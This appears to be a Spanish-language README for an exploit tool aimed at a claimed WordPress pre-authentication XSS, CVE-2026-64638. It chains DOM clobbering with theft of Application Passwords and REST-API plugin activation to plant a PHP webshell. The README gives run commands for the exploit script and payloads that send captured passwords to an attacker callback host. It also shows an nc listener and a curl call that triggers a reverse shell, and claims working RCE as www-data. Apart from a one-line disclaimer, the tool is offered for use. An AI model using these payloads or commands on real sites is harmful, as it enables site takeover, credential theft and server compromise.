
CVE-2026-64638 — XSS Reflejado Pre-Autenticación de WordPress → RCE mediante DOM Clobbering + Robo de Contraseñas de Aplicación + Activación de Plugins vía API REST. PoC de doble modo (cadena XSS y directo).
WordPress XSS Reflejado Pre-Auth → Cadena de Ejecución Remota de Código
DOM Clobbering + Robo de Contraseñas de Aplicación + Activación de Plugins vía API REST = RCE Completo
CVE-2026-64638 es un XSS Reflejado pre-autenticación crítico en wp-login.php de WordPress. La vulnerabilidad existe porque el mensaje de error de inicio de sesión refleja el nombre de usuario enviado sin una codificación HTML adecuada, lo que permite DOM Clobbering mediante <area id=ajaxurl> para evadir la mayoría de los filtros.
Cuando se encadena con la función de Contraseñas de Aplicación de WordPress, este XSS se convierte en un vector de Ejecución Remota de Código completa: cero interacción del usuario más allá de visitar una página de activación manipulada mientras tiene la sesión iniciada.
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
| Versión | Estado | Notas |
|---|---|---|
| WordPress ≤ 6.9.5 | ✅ Vulnerable | Las imágenes Docker anteriores al backport siguen siendo explotables |
| WordPress 6.9.6+ | ⚠️ Parcheado (backport del 7 de agosto de 2026) | Las imágenes Docker reconstruidas después del 7 de agosto incluyen el parche |
| WordPress 7.0.x | ✅ Vulnerable | Confirmado en 7.0.2 |
| WordPress 7.1+ | ❓ Desconocido | No probado |
pip3 install requests
Eso es todo. La biblioteca estándar de Python 3.8+ para todo lo demás.
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
La víctima debe haber iniciado sesión en WordPress como administrador. La página de activación:
wp-login.php mediante un iframe ocultoauthorize-application.php para que la víctima lo apruebepython3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
Inicio de sesión directo → subida de plugin → webshell instantánea. No se requiere XSS.
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
O manualmente a través del webshell:
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
Por qué funciona:
sanitize_user() de WordPress elimina las etiquetas HTML estándar, pero no detecta <area> con un espacio inicial<area id=ajaxurl> realiza DOM Clobbering: secuestra window.ajaxurl utilizado por el JavaScript de wp-adminwp_auth_check se dispara y el XSS redirige a la víctima a authorize-application.phpsuccess_url envía la contraseña generada al servidor de callback del atacanteUna vez capturada la Contraseña de Aplicación:
/wp-json/wp/v2/POST /wp-json/wp/v2/plugins/{slug} con {"status":"active"}wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND?rev=IP:PORT lanza /bin/sh -i de vuelta al atacante| Objetivo | Versión | Modo | Resultado |
|---|---|---|---|
| Docker (local) | WordPress 7.0.2 | Cadena XSS | ✅ RCE como www-data |
| Docker (local) | WordPress 7.0.2 | Directo | ✅ RCE como www-data |
| Docker (local) | WordPress 6.7 | Cadena XSS | ✅ RCE como www-data |
Esta herramienta es solo para pruebas de seguridad autorizadas e investigación. Los autores no asumen ninguna responsabilidad por el mal uso. Obtenga siempre permiso por escrito antes de realizar pruebas.
"Sin exploit, no hay informe." — Metodología Shannon